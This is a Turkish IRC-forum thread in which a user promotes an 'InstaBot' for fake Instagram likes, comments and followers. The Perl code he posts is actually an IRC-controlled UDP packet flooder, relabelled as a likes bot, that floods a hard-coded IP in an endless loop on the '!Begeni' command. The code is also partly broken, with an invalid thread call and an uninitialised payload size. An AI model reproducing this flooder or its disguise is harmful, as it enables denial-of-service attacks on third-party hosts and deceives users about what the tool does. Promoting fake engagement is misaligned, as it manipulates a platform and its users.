InstaBot
 

merhaba arkadaslar en yakin zamanda sizlere instaBot gedirecem insallah
suan da irc.dalnet.com #instagram kanalinda calisiyoruz kanalda !begeni instagram emre 100 begenu atacak !yourum emre yazinca degisik innstagram nickleri senin fotona 100 adet yorum yazacak !takipci emre 600 yazinca takipci gelecek az kaldi,,, arkadasla calsiiyorz cok eglecenguz bu arada bot perl bot perl dili ile yazilmistir.. arkadas kendisi amerikalidir ugrasiyorz :) en yakin zamanda sizlere C+
print("sizleri seviyoruz")

Cevap: InstaBot
 

Fantastik bir düşünce, kolay gelsin umarım başarılı olur.

Cevap: InstaBot
 

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Cevap: InstaBot
 

arkadaslar fikir benimdi arkadaslda perl dili ile codlama yapiyor 1 hafta oldu insallah 2 hafta sonra link atarim cmd den perl instaBot yazmaniz yeterli olacak api de lazim bilgisayarinizde gerekli olanlar mysql ve windows icin Composer indirmeniz lazim cmd den anlatacam detaylari bot olsunda


--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:27 -->-> Daha önceki mesaj 16:12 --

# BOT for Instagram Begeni
# This Bot is based on this scripts
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# Object interface to socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;

# Thread used to run the subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;

#IRC parameters
my $channel = '#instagram';
my $nick = 'instaBot';
my $user = 'instagram Begeni Bot BY UFUK';

# instagram Begeni subroutine (not a real function per se)

sub begeni
{
print "=> instagram Begeni Started\n";

# Local variables (to the enclosing block)
my ($ip, $port, $target_socket, $proto, $lower_bound, $rand, $size);

# Target host, port and channel
$ip = '192.168.1.1';
$port = 80;

# Converts the IP representation (from textual to packed binary)
$iaddr = inet_aton("$ip");

# Opens a socket
#$proto = getprotobyname("udp");
socket(target_socket, PF_INET, SOCK_DGRAM, 17);
#socket($target_socket, PF_INET, SOCK_DGRAM, $proto); #|| die "socket: $!";

# Begeni
while (1)
{
if ($interrupt) { print "=> Begeni Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
#select(undef, undef, undef, 0.01);
#$lower_bound = 4;
#$rand = $lower_bound + int(rand(16));
$size = $rand x $rand x $rand;
send(target_socket, 0, $size, sockaddr_in($port, $iaddr));
}
}

# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.dalnet.com',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";

# Join the IRC
print $con "USER $user \r\n";
print $con "NICK $nick r\n";
print $con "JOIN $channel\r\n";

# IRC connection loop
while (my $answer = <$con>)
{
# Show server reply
print $answer;

# Answer to ping requests (to keep connection alive)
if ($answer =~ m/^PING (.*?)$/gi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}

# Starts the Begeni
if ($answer =~ /!Begeni/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :instagram Begeni is running...\r\n";
}
else
{
print $con "PRIVMSG $channel :Begeni started!\r\n";
$interrupt = 0;
$thr = threads->create('Begeni sytsem start');
$thr->detach();
}
}

# Finishes the begeni
if ($answer =~ /!durdur/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :Begeni durduldu!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}

--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:37 -->-> Daha önceki mesaj 16:27 --

[16:36] <ufuk> !durdur
[16:36] <instaBot> Nothing to stop.

Cevap: InstaBot
 

mrb tupac acaba bot oldu mu merak ediyorum kolay gelsin

Cevap: InstaBot
 

kolay gelsin

Cevap: InstaBot
 

Phph bot noldu Bro...